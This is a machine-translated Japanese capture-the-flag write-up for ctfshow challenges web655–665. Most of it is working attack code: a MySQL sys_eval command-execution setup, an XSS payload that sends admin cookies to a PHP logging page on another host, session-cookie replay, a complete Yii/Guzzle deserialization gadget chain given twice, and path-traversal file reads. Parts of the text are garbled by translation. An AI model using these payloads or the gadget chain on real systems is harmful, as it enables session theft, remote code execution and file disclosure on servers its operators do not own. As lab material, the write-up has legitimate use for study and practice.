スクリプトによる学習効果の向上
web655
/ etc / hostを開いてイントラネットアドレスを取得し、トラバースして.5の存続を確認します。
バックグラウンドスキャンにより、phpinfo.php www.zip robots.txtがあることがわかりました。phpinfo.phpに
アクセスして、フラグを直接取得します
。flag_655= ctfshow { aada21bce99ddeab20020ac714686303}
create関数sys_evalは文字列soname'b.so'を返します。
sys_eval('whoami');を選択します。
web656
xssにプロンプトを表示し、index.phpを監査して、x-forwarded-forは問題ないことを確認しますが、xssはイントラネット上にある必要があります。
コンテンツを次のように使用してphpページを作成するだけです
<?php
$parameter = $_SERVER["QUERY_STRING"];
file_put_contents("log.txt",$parameter);
?>
次に、データベースで次のステートメントを実行します
select sys_eval('sudo curl --header "X-Forwarded-For:<script>window.location.href=String.fromCharCode(104,116,116,112,58,47,47,49,55,50,46,50,46,49,56,54,46,52,47,115,121,115,116,101,109,51,54,100,47,100,98,47,97,46,112,104,112,63,115,61)+document.cookie;</script>" http://172.2.186.5/index.php?action=login\\&u=7723\\&p=345');
String.fromCharCodeの値は次のようになります
s="http://172.2.186.4/system36d/db/a.php?s=" #当然每个人的内网地址可能不一样
a=''
for i in s:
a=a+str(ord(i))+','
print(a)
しばらくすると、log.txtの内容が次のように生成されていることがわかります。
PHPSESSID=f4s2tukhjk4h4s7tm6vodorg6
auth=ZmxhZ182NTY9Y3Rmc2hvd3tlMGI4MGQ2Yjk5ZDJiZGJhZTM2ZjEyMWY3OGFiZTk2Yn0=
認証デコードはflag656です
flag_656 = ctfshow {e0b80d6b99d2bdbae36f121f78abe96b}
web657
クッキーを持って行くことでフラグを取得できます。もちろん、このクッキーは常に変化しているので、最新のものでなければなりません。
select sys_eval('sudo curl --header "Cookie:PHPSESSID=1mjkpmd6hofo45vnhiobl4of7l;auth=ZmxhZ182NTY9Y3Rmc2hvd3tlMGI4MGQ2Yjk5ZDJiZGJhZTM2ZjEyMWY3OGFiZTk2Yn0=" http://172.2.186.5/index.php?action=main\\&m=getFlag');
flag_657 = ctfshow {2a73f8f87a58a13c23818fafd83510b1}
web658
yiiの逆シリアル化の脆弱性を介して取得された
参照リンク
ファイルのダウンロードアドレスhttps://github.com/opis/closure
<?php
namespace Codeception\Extension{
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
class RunProcess{
protected $output;
private $processes = [];
public function __construct(){
$this->processes[]=new DefaultGenerator(new AppendStream());
$this->output=new DefaultGenerator('jiang');
}
}
echo urlencode(serialize(new RunProcess()));
}
namespace Faker{
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
use Faker\DefaultGenerator;
final class AppendStream{
private $streams = [];
private $seekable = true;
public function __construct(){
$this->streams[]=new CachingStream();
}
}
final class CachingStream{
private $remoteStream;
public function __construct(){
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();
}
}
final class PumpStream{
private $source;
private $size=-10;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('j');
include("closure/autoload.php");
$a = function(){
phpinfo();highlight_file('/var/www/html/flag.php');phpinfo();};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->source=$b;
}
}
}
flag_658 = ctfshow {98555a97cb23e7413d261142e65a674f}
web659
ちなみに、 nginxディレクトリトラバーサルの脆弱性
flag_659 = ctfshow {73c4213829f8b393b2082bacb4253cab}
は、665
flag_665 =ctfshow{35802d184dba134bdc8d0d23e09051f7}を提供しました。
web660
管理者にaction=loginにアクセスさせると、管理者は過去にフラグを渡します。
次に、ログを確認します。
web661
1=echo file_get_contents("http://172.2.166.5/public../home/flag/secret.txt");
flag_661 = ctfshow {d41c308e12fdecf7782eeb7c20f45352}
web662 web663
2つは同じフラグ
ブラストファイル名です
1=echo file_get_contents("http://172.2.166.5/public../home/www-data/creater.sh ");
つまり、flag663はxxx.htmlにあり、プレフィックスは3桁の16進数です
flag_663 = ctfshow {fa5cc1fb0bfc986d1ef150269c0de197}
web664
<?php
namespace Codeception\Extension{
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
class RunProcess{
protected $output;
private $processes = [];
public function __construct(){
$this->processes[]=new DefaultGenerator(new AppendStream());
$this->output=new DefaultGenerator('jiang');
}
}
echo urlencode(serialize(new RunProcess()));
}
namespace Faker{
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
use Faker\DefaultGenerator;
final class AppendStream{
private $streams = [];
private $seekable = true;
public function __construct(){
$this->streams[]=new CachingStream();
}
}
final class CachingStream{
private $remoteStream;
public function __construct(){
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();
}
}
final class PumpStream{
private $source;
private $size=-10;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('j');
include("closure/autoload.php");
$a = function(){
phpinfo();highlight_file('/var/oa/flag664.php');phpinfo();};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->source=$b;
}
}
}
flag_664 = ctfshow {35802d184dba134bdc8d0d23e09051f7}
web665
時計659